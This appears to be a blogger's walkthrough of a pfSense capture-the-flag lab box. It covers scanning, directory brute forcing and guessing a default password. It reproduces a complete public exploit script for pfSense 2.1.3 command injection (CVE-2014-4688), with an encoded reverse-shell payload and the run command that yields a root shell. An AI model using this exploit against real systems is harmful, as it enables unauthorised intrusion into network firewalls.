This is actually one of my least favorite boxes. The wordlist I had to use to have any idea of what to do next was obnoxiously long. After you get past that hurdle, it's pretty much instaroot from there. That said, I try to find value in everything. If you can get past some of those things, it's helpful in the sense that you can learn a bit about using searchsploit or exploitdb.

Let's just get this box out of the way.

Nmap Scan

As always. I start with Nmap. I like to start with a basic scan, then a full scan of all TCP ports, then I do another scan of the open ports, but run safe scripts and version scripts:

# Nmap 7.80 scan initiated Fri Jul 10 21:08:58 2020 as: nmap -T4 -sC -sSV -p 80,443 -oN versionScan 10.10.10.60
Nmap scan report for 10.10.10.60
Host is up (0.20s latency).

PORT    STATE SERVICE    VERSION
80/tcp  open  http       lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
443/tcp open  ssl/https?
|_ssl-date: TLS randomness does not represent time

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 10 21:10:43 2020 -- 1 IP address (1 host up) scanned in 105.50 seconds

Cool. Now we have an idea of what's running on this box. Let's take a closer look.

Port 80 – HTTP

This is just a redirect to HTTPS.

Port 443 – HTTPS

And we have ourselves – PFSense. An opensource firewall. This is a login page for the admin console:

Cool. Let's try a few dumb creds like admin:admin, and admin:pfsense (the default PFSense creds). No dice.

While I poke around manually, I always like to run some directory enumeration. This is my least favorite part of this box, because the only list I was able to find that got me the result I needed to advance was ridiculously long and takes at least 60 years to run.

GoBuster

I run the following wordlist using GoBuster:

gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.60 -x php,txt,conf -o bigList

This tells gobuster to run a directory bruteforce using the wordlist directory-list-2.3-medium.txt on target host 10.10.10.60. The -k option tells it to ignore certificate warnings since we are hitting an https site and the -o option just sets an output filename. We also used the -x extension to search for file extensions. It's a good habit to get into on these CTFs, because there are often .txt files intended to "accidentally" give you creds and usernames. I don't know how real-world that is, but sure.

Anyway, this is probably my least favorite part of this box. It's a lot of waiting for some directory brute forcing to finish. It takes a long time and there's very little you can do outside of some wild lucky guess. Brew up some coffee, or grab your energy drink and hang around for bit. Pick up a good book and start reading. Whatever ya gotta do.

Eventually, you will get two interesting directories that stand out:

changelog.txt

One of the interesting directories is https://10.10.10.60/changelog.txt:

Let's take a look at the content:

# Security Changelog 

### Issue
There was a failure in updating the firewall. Manual patching is therefore required

### Mitigated
2 of 3 vulnerabilities have been patched.

### Timeline
The remaining patches will be installed during the next maintenance window

Okay. So it looks like 2 of 3 vulns are patched and the firewall update failed recently. Convenient.

system-users.txt

The other is: https://10.10.10.60/system-users.txt

Let's take a look at what's there:

####Support ticket###

Please create the following user


username: Rohit
password: company defaults

Now we have a username. The password says company defaults. We eventually guess that "company defaults" means pfsense defaults.

We log in with the creds rohit:pfsense

Cool. We're in:

Version 		2.1.3-RELEASE (amd64)
			built on Thu May 01 15:52:13 EDT 2014
			FreeBSD 8.3-RELEASE-p16

			Unable to check for updates.

Looking at the version info above, we can will see that we're on release 2.1.3.

Searchsploit time. Searchsploit is just a local version of exploitdb. It's usually a good first stop when you're poking around for potentially vulnerable software. Of course I'm working on this box already having gone through it so I know the solution, but if we were going into it without this knowledge, we'd most likely search Google for vulnerabilities related to PF Sense 2.1.3. ExploitDB/Searchsploit is one of my first stops, regardless. Again, this is mostly because many of the boxes we will find in these challenges are scoped to have vulnerabilities that are readily available and (ideally) vetted or safe to use. Don't just go around running any random code you see. Might suck.

Searchsploit

Running searchsploit pfsense 2.1.3 will show us the following result:

  • pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection

Sweet. Let's grab that into our local directory and take a look at the script:

#!/usr/bin/env python3

# Exploit Title: pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
# Date: 2018-01-12
# Exploit Author: absolomb
# Vendor Homepage: https://www.pfsense.org/
# Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/
# Version: <=2.1.3
# Tested on: FreeBSD 8.3-RELEASE-p16
# CVE : CVE-2014-4688

import argparse
import requests
import urllib
import urllib3
import collections

'''
pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
This script will return a reverse shell on specified listener address and port.
Ensure you have started a listener to catch the shell before running!
'''

parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Remote Host")
parser.add_argument('--lhost', help = 'Local Host listener')
parser.add_argument('--lport', help = 'Local Port listener')
parser.add_argument("--username", help = "pfsense Username")
parser.add_argument("--password", help = "pfsense Password")
args = parser.parse_args()

rhost = args.rhost
lhost = args.lhost
lport = args.lport
username = args.username
password = args.password


# command to be converted into octal
command = """
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("%s",%s));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
""" % (lhost, lport)


payload = ""

# encode payload in octal
for char in command:
        payload += ("\\" + oct(ord(char)).lstrip("0o"))

login_url = 'https://' + rhost + '/index.php'
exploit_url = "https://" + rhost + "/status_rrd_graph_img.php?database=queues;"+"printf+" + "'" + payload + "'|sh"

headers = [
        ('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),
        ('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
        ('Accept-Language', 'en-US,en;q=0.5'),
        ('Referer',login_url),
        ('Connection', 'close'),
        ('Upgrade-Insecure-Requests', '1'),
        ('Content-Type', 'application/x-www-form-urlencoded')
]

# probably not necessary but did it anyways
headers = collections.OrderedDict(headers)

# Disable insecure https connection warning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

client = requests.session()

# try to get the login page and grab the csrf token
try:
        login_page = client.get(login_url, verify=False)

        index = login_page.text.find("csrfMagicToken")
        csrf_token = login_page.text[index:index+128].split('"')[-1]

except:
        print("Could not connect to host!")
        exit()

# format login variables and data
if csrf_token:
        print("CSRF token obtained")
        login_data = [('__csrf_magic',csrf_token), ('usernamefld',username), ('passwordfld',password), ('login','Login') ]
        login_data = collections.OrderedDict(login_data)
        encoded_data = urllib.parse.urlencode(login_data)

# POST login request with data, cookies and header
        login_request = client.post(login_url, data=encoded_data, cookies=client.cookies, headers=headers)
else:
        print("No CSRF token!")
        exit()

if login_request.status_code == 200:
                print("Running exploit...")
# make GET request to vulnerable url with payload. Probably a better way to do this but if the request times out then most likely you have caught the shell
                try:
                        exploit_request = client.get(exploit_url, cookies=client.cookies, headers=headers, timeout=5)
                        if exploit_request.status_code:
                                print("Error running exploit")
                except:
                        print("Exploit completed")

Looks like we set up our listener and run the script, pointing it at the target.

Before running the script, I always like to see if there's a help option:

$ python3 exploit.py --help
usage: exploit.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT] [--username USERNAME] [--password PASSWORD]

optional arguments:
  -h, --help           show this help message and exit
  --rhost RHOST        Remote Host
  --lhost LHOST        Local Host listener
  --lport LPORT        Local Port listener
  --username USERNAME  pfsense Username
  --password PASSWORD  pfsense Password

We will try the following: python3 exploit.py --rhost 10.10.10.60 --lhost 10.10.14.34 --lport 443 --username rohit --password pfsense

That runs the exploit using Python 3, sets the remote host to the pfsense box. Sets the local host to our attacker machine and the listening port to 443. We also use the username and password we found earlier. Be sure to set up that netcat listener!

KakaLinpoop:~$ nlis443
listening on [any] 443 ...
connect to [10.10.14.34] from (UNKNOWN) [10.10.10.60] 47920
sh: can't access tty; job control turned off
# whoami
root

I ran export TERM=xterm and that gives me the ability to run clear, etc.

As always, I also run alias l="ls -larth"

Anyway. No real need. This was an instaroot.